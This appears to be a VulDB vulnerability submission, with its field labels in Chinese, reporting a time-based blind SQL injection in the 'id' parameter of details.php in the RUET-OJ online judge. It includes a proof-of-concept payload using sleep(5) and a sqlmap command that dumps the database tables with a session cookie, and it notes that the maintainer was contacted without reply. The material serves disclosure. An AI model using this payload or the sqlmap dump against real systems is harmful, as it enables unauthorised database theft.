| 标题 | shawon100 RUET-OJ BETA 2016 Time Based Blind SQL Injection - details.php |
|---|
| 描述 | There is a Time Based Blind SQL Injection vulnerability in the "id" parameter of the details.php file, allowing an attacker to dump the entire database. You must be authenticated
[POC]
With burp browser
GET /details.php?id=1'and+sleep(5)%23
Automate with sqlmap to perform the database dump.
sqlmap -u http://ip/details.php?id= --cookie=PHPSESSID=f1cc07f2b44446f48035e77e8184cec7 -D reg --tables
The person responsible for the application was informed via email on July 25, 2025. But I did not receive a response.
Link application: https://github.com/shawon100/RUET-OJ |
|---|
| 用户 | ManinhuGuitar (UID 84672) |
|---|
| 提交 | 2025-10-14 01時42分 (1 年前) |
|---|
| 管理 | 2025-10-27 11時22分 (13 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 330106 [shawon100 RUET OJ 直到 18fa45b0a669fa1098a0b8fc629cf6856369d9a5 /details.php id SQL注入] |
|---|
| 积分 | 17 |
|---|